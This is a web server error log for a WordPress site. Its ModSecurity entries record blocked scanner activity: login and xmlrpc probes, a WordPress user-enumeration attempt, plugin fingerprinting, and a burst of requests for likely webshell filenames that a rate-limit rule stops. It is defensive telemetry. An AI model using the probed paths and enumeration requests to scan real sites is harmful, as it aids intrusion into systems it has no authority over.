[Wed Dec 24 16:19:30.179773 2025] [:error] [pid 16467:tid 16507] [client 165.227.188.244:52365] [client 165.227.188.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.188.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUuiEo0TJMcBxX5slgoo0wAAAEo"]
[Wed Dec 24 21:23:23.611283 2025] [ssl:error] [pid 16550:tid 16570] [client 35.87.64.128:52326] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Wed Dec 24 22:07:46.650631 2025] [:error] [pid 16467:tid 16501] [client 182.40.104.255:40858] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUvzso0TJMcBxX5slgprLQAAAEQ"]
[Thu Dec 25 01:29:55.948798 2025] [:error] [pid 38611:tid 38626] [client 34.134.152.81:50057] [client 34.134.152.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.152.81, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUwjE-Lzy4v8uFDvXNiemgAAAAo"]
[Thu Dec 25 01:29:59.965649 2025] [:error] [pid 38611:tid 38621] [client 34.134.152.81:50057] [client 34.134.152.81] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUwjF-Lzy4v8uFDvXNieoAAAAAU"]
[Thu Dec 25 01:30:02.620577 2025] [:error] [pid 38611:tid 38629] [client 34.134.152.81:50057] [client 34.134.152.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.152.81, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUwjGuLzy4v8uFDvXNiepAAAAA0"]
[Thu Dec 25 01:53:18.174679 2025] [authz_core:error] [pid 38703:tid 38726] [client 27.115.124.34:15910] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/smart-slider-3/readme.txt
[Thu Dec 25 01:53:19.596814 2025] [authz_core:error] [pid 21513:tid 21519] [client 27.115.124.40:40807] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor/readme.txt
[Thu Dec 25 01:53:21.310226 2025] [authz_core:error] [pid 38703:tid 38725] [client 27.115.124.33:5079] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/wpforms/readme.txt
[Thu Dec 25 01:53:22.006162 2025] [authz_core:error] [pid 38611:tid 38621] [client 27.115.124.3:1170] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Thu Dec 25 01:53:23.644359 2025] [authz_core:error] [pid 38612:tid 38653] [client 27.115.124.48:11774] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/sticky-header-effects-for-elementor/readme.txt
[Thu Dec 25 01:53:24.282772 2025] [authz_core:error] [pid 16341:tid 16349] [client 27.115.124.5:56149] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor-pro/readme.txt
[Thu Dec 25 01:53:25.985292 2025] [authz_core:error] [pid 21513:tid 21521] [client 27.115.124.48:33258] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/themes/hello-elementor/readme.txt
[Thu Dec 25 02:25:38.015048 2025] [:error] [pid 21513:tid 21516] [client 124.156.225.181:56722] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUwwImPuOaBlVJ9Har31lAAAAYE"]
[Thu Dec 25 10:36:48.626241 2025] [:error] [pid 31570:tid 31600] [client 117.33.163.216:39526] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUyjQGPy2DpAzW_4a2jYEQAAAEA"]
[Thu Dec 25 10:51:55.888438 2025] [:error] [pid 31655:tid 31661] [client 101.33.66.34:50050] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUymy5ozPMk9HPtIJPMwIAAAAMQ"]
[Thu Dec 25 12:16:25.589634 2025] [ssl:error] [pid 31655:tid 31676] [client 15.204.182.106:33140] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Thu Dec 25 12:35:34.834166 2025] [proxy_fcgi:error] [pid 31569:tid 31584] [client 103.4.122.14:42956] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Dec 25 12:35:50.502141 2025] [proxy_fcgi:error] [pid 31569:tid 31574] [client 103.4.122.14:43072] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Dec 25 13:21:21.919604 2025] [ssl:error] [pid 31570:tid 31612] [client 15.204.182.106:64260] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Thu Dec 25 14:10:56.627411 2025] [:error] [pid 31570:tid 31612] [client 43.133.91.48:48134] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUzVcGPy2DpAzW_4a2gBRQAAAEw"]
[Thu Dec 25 15:19:51.492093 2025] [:error] [pid 31570:tid 31617] [client 4.241.194.62:11421] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh1.php"] [unique_id "aUzll2Py2DpAzW_4a2gM8AAAAFE"]
[Thu Dec 25 15:19:53.212638 2025] [:error] [pid 2996:tid 3020] [client 4.241.194.62:24707] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh1.php"] [unique_id "aUzlmarrTp0EWNyhaIT5XQAAARY"]
[Thu Dec 25 15:19:54.348237 2025] [:error] [pid 31569:tid 31579] [client 4.241.194.62:24709] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh1.php"] [unique_id "aUzlmmiSFBH7Ee_uldWT3QAAAAY"]
[Thu Dec 25 15:19:54.782966 2025] [:error] [pid 31655:tid 31677] [client 4.241.194.62:18282] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh1.php"] [unique_id "aUzlmpozPMk9HPtIJPNjvwAAANQ"]
[Thu Dec 25 15:19:55.183266 2025] [:error] [pid 31655:tid 31680] [client 4.241.194.62:19845] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aUzlm5ozPMk9HPtIJPNjwQAAANc"]
[Thu Dec 25 15:19:56.454400 2025] [:error] [pid 2996:tid 3011] [client 4.241.194.62:19850] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aUzlnKrrTp0EWNyhaIT5YAAAAQ0"]
[Thu Dec 25 15:19:58.909740 2025] [:error] [pid 31570:tid 31619] [client 4.241.194.62:18297] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aUzlnmPy2DpAzW_4a2gNBwAAAFM"]
[Thu Dec 25 15:20:00.358962 2025] [:error] [pid 31569:tid 31596] [client 4.241.194.62:19847] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aUzloGiSFBH7Ee_uldWT5AAAABc"]
[Thu Dec 25 15:20:01.705281 2025] [:error] [pid 31570:tid 31603] [client 4.241.194.62:24759] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s12.php"] [unique_id "aUzloWPy2DpAzW_4a2gNCAAAAEM"]
[Thu Dec 25 15:20:02.700679 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:19900] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s12.php"] [unique_id "aUzloqrrTp0EWNyhaIT5ZwAAAQc"]
[Thu Dec 25 15:20:03.627742 2025] [:error] [pid 31570:tid 31618] [client 4.241.194.62:19855] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s12.php"] [unique_id "aUzlo2Py2DpAzW_4a2gNCgAAAFI"]
[Thu Dec 25 15:20:04.684874 2025] [:error] [pid 31571:tid 31640] [client 4.241.194.62:24714] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s12.php"] [unique_id "aUzlpO7e_lLK2X5wU8l-xAAAAI0"]
[Thu Dec 25 15:20:06.583969 2025] [:error] [pid 31569:tid 31597] [client 4.241.194.62:19846] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aUzlpmiSFBH7Ee_uldWT8AAAABg"]
[Thu Dec 25 15:20:07.684225 2025] [:error] [pid 31571:tid 31630] [client 4.241.194.62:24202] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aUzlp-7e_lLK2X5wU8l-yQAAAIM"]
[Thu Dec 25 15:20:09.393494 2025] [:error] [pid 31570:tid 31620] [client 4.241.194.62:24734] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aUzlqWPy2DpAzW_4a2gNDQAAAFQ"]
[Thu Dec 25 15:20:10.465389 2025] [:error] [pid 31570:tid 31607] [client 4.241.194.62:2117] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aUzlqmPy2DpAzW_4a2gNDwAAAEc"]
[Thu Dec 25 15:20:11.377709 2025] [:error] [pid 2996:tid 3011] [client 4.241.194.62:2118] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUzlq6rrTp0EWNyhaIT5bQAAAQ0"]
[Thu Dec 25 15:20:13.054140 2025] [:error] [pid 31570:tid 31614] [client 4.241.194.62:18191] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUzlrWPy2DpAzW_4a2gNEwAAAE4"]
[Thu Dec 25 15:20:14.023941 2025] [:error] [pid 31570:tid 31612] [client 4.241.194.62:2136] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUzlrmPy2DpAzW_4a2gNFAAAAEw"]
[Thu Dec 25 15:20:14.934688 2025] [:error] [pid 31655:tid 31662] [client 4.241.194.62:16123] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUzlrpozPMk9HPtIJPNjzwAAAMU"]
[Thu Dec 25 15:20:16.068058 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:25185] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aUzlsKrrTp0EWNyhaIT5dgAAAQw"]
[Thu Dec 25 15:20:16.415166 2025] [:error] [pid 2996:tid 3011] [client 4.241.194.62:24244] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aUzlsKrrTp0EWNyhaIT5eQAAAQ0"]
[Thu Dec 25 15:20:17.069168 2025] [:error] [pid 31655:tid 31678] [client 4.241.194.62:2167] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aUzlsZozPMk9HPtIJPNj0wAAANU"]
[Thu Dec 25 15:20:17.693533 2025] [:error] [pid 31570:tid 31623] [client 4.241.194.62:25212] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aUzlsWPy2DpAzW_4a2gNFgAAAFc"]
[Thu Dec 25 15:20:18.899762 2025] [:error] [pid 31571:tid 31631] [client 4.241.194.62:15869] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g7y.php"] [unique_id "aUzlsu7e_lLK2X5wU8l-zwAAAIQ"]
[Thu Dec 25 15:20:20.485516 2025] [:error] [pid 2996:tid 3008] [client 4.241.194.62:13444] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g7y.php"] [unique_id "aUzltKrrTp0EWNyhaIT5fgAAAQo"]
[Thu Dec 25 15:20:21.604821 2025] [:error] [pid 31570:tid 31609] [client 4.241.194.62:15811] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g7y.php"] [unique_id "aUzltWPy2DpAzW_4a2gNGAAAAEk"]
[Thu Dec 25 15:20:22.706156 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:13450] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g7y.php"] [unique_id "aUzltqrrTp0EWNyhaIT5fwAAAQc"]
[Thu Dec 25 15:20:24.331816 2025] [:error] [pid 31570:tid 31621] [client 4.241.194.62:13492] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ging.php"] [unique_id "aUzluGPy2DpAzW_4a2gNGQAAAFU"]
[Thu Dec 25 15:20:25.754999 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:17939] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ging.php"] [unique_id "aUzluWiSFBH7Ee_uldWT-AAAABY"]
[Thu Dec 25 15:20:26.860109 2025] [:error] [pid 31655:tid 31681] [client 4.241.194.62:13502] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ging.php"] [unique_id "aUzlupozPMk9HPtIJPNj4gAAANg"]
[Thu Dec 25 15:20:28.873065 2025] [:error] [pid 31571:tid 31628] [client 4.241.194.62:13773] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ging.php"] [unique_id "aUzlvO7e_lLK2X5wU8l-2QAAAIE"]
[Thu Dec 25 15:20:30.641694 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:13479] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/veuntzdf.php"] [unique_id "aUzlvqrrTp0EWNyhaIT5jAAAAQE"]
[Thu Dec 25 15:20:33.042836 2025] [:error] [pid 31655:tid 31671] [client 4.241.194.62:13803] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/veuntzdf.php"] [unique_id "aUzlwZozPMk9HPtIJPNj5gAAAM4"]
[Thu Dec 25 15:20:37.320162 2025] [:error] [pid 2996:tid 3019] [client 4.241.194.62:21909] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/veuntzdf.php"] [unique_id "aUzlxarrTp0EWNyhaIT5lgAAARU"]
[Thu Dec 25 15:20:39.101203 2025] [:error] [pid 31569:tid 31581] [client 4.241.194.62:13565] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/veuntzdf.php"] [unique_id "aUzlx2iSFBH7Ee_uldWT_gAAAAg"]
